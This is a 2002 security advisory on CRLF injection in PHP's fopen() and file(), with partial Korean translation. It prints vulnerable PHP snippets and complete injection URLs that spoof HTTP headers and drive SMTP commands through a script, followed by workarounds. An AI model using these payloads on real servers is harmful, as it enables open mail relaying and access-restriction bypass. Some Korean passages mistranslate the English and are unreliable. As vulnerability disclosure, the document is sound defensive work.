[VulnWatch] PHP fopen() CRLF Injection

From: Ulf Harnhammar (ulfh@update.uu.se)
Date: Mon Sep 09 2002 - 17:23:01 EDT
# 번역 : x90c(정경주)

PHP fopen() CRLF Injection
PROGRAM: PHP
VENDOR: The PHP Group <group@php.net>
HOMEPAGE: http://www.php.net/
VULNERABLE VERSIONS: 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others
IMMUNE VERSIONS: none, but workarounds exist
SEVERITY: medium

DESCRIPTION:

"PHP is a widely-used Open Source general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Its syntax draws upon C, Java, and Perl, and is easy
to learn. PHP runs on many different platforms and can be used as a standalone executable or as a module under a variety of Web servers. It has excellent support for databases, XML, LDAP, IMAP, Java, various Internet protocols, and general data manipulation, and is extensible via its powerful API."
(direct quote from the program's project page at Freshmeat)

PHP is published under the terms of The PHP License. It is installed on millions of web servers.

SUMMARY:

fopen(), file() and other functions in PHP have a vulnerability that makes it possible to add extra HTTP headers to HTTP queries. Attackers may use it to escape certain restrictions, like what host to access on a web server. In some cases, this vulnerability even opens up for arbitrary net connections, turning some PHP scripts into proxies and open mail relays.

fopen(), file() 그리고 기타 PHP 함수의 취약점은 여분의 HTTP헤더를 첨부하여 쿼리하는것 때문에 중요합니다. 공격자들은 아마 제한사항들을 가뿐히 넘겨서, 웹서버상의 어떤 호스트로 접근할수 있습니다. 이와 같은 경우, 이 취약점은 임의의 네트워크연결들을 여는것을 평탄하게 합니다, 약간의 PHP 스크립트들이 대신해서 메일을 열어놓게 전환할 수 있습니다.

TECHNICAL DETAILS:

PHP has several functions that take filenames as one of their arguments: fopen(), file() and some others. If allow_url_fopen is set to On in php.ini, those functions also accept URLs instead of regular files, and they connect to the server in question with the correct protocol. This functionality is vulnerable to some CRLF
Injection attacks.

PHP에서 하나이상의 파일이름 인자들을 가지는 함수들: fopen(), file() 그리고 몇몇 그외. 만약 php.ini안의 allow_url_fopen 이 On으로 설정되어 있다면, 역시 URL들로 일련의 파일들을 받아들이고, 그것들은 질문이 포함
된 프로토콜 컬렉트를 가진 서버에 연결합니다. 이 기능은 약간 crlf 인젝션 공격에 취약합니다.

1) We start with the simple attacks. Let's say that this PHP snippet is saved as snippet.php:

<?php
echo '<pre>';
print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind"));
echo '</pre>';
?>

If an attacker surfs to:

snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www. site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F %2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A (should be on one line)

this HTTP query will be sent to www.site1.st:

GET /api?sunnan=visby&vind=gotland HTTP/1.0
Host: www.site2.st
User-Agent: Ulf/0.0
Referer: http://www.gnuheter.org/
Cookie: user=ulf

HTTP/1.0
Host: www.site1.st
User-Agent: PHP/4.1.2

As you can see, the real headers from PHP are sent as well, but the web server ignores them, as we send two CRLFs before them to indicate that the headers are over.

Using this technique, we can add arbitrary user agents, referers and cookies. We can also break out of restrictions and access site2.st instead of the site site1.st that snippet.php tries to restrict us to, if site1.st and site2.st are virtual hosts on the same machine.

2) If the PHP script is even worse, like this one called dotcom.php:

<?php
$fp = fopen($url, 'r');
fpassthru($fp);
?>

we can connect to arbitrary ports and send (almost) arbitrary commands, thus turning the dotcom.php script into a proxy and an open mail relay.

If we surf to:

dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+ my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+ TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+ PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
(should be on one line)

the PHP interpreter will connect to mail.site1.st on port 25, and send the following commands:

GET / HTTP/1.0
HELO my.own.machine
MAIL FROM:<me@my.own.machine>
RCPT TO:<info@site1.st>
DATA
i will never say the word PROCRASTINATE again
.
QUIT

HTTP/1.0
Host: mail.site1.st:25
User-Agent: PHP/4.1.2

Both PHP and the MTA will complain, but the mail is still sent.

COMMUNICATION WITH VENDOR:

All contact methods I could find were very public, like mailing lists and bug tracking systems. I ended up entering this security hole into their bug tracking system (as number 19160) on the 28th of August. The PHP developers are working on fixing this bug, but nothing have been committed to their CVS yet. I am releasing this anyway, as it is already public in their bug tracking system and as Matthew Murphy has published a related hole in PHP recently, thus making it more likely that some blackhat will find this too.

WORKAROUNDS:

One solution is to make sure that all variables that are used in this type of URL are clean, by including this command in your PHP scripts:

$var = preg_replace('/\\s+/', '', $var);

Another solution: if your scripts don't need to access URLs like files, you can switch off that functionality by setting allow_url_fopen to Off in php.ini.

한가지 해결책으로는 만들어져서 URL을 통해서 사용되는 변수의 청소(필터링,정리)하는것입니다. 당신의 PHP스크립트들에 이 명령어를 첨부하십시오.

$var = preg_replace('/\s+/', '', $var);

그외 해결책: 만약 당신의 스크립트가 파일들의 URL들로 접근할 필요성이 없다면, 당신은 php.ini 설정파일안의 allow_url_fopen 기능을 Off로 설정하시면 됩니다.

// Ulf Harnhammar
ulfh@update.uu.se
http://www.metaur.nu/

저작자표시 (새창열림)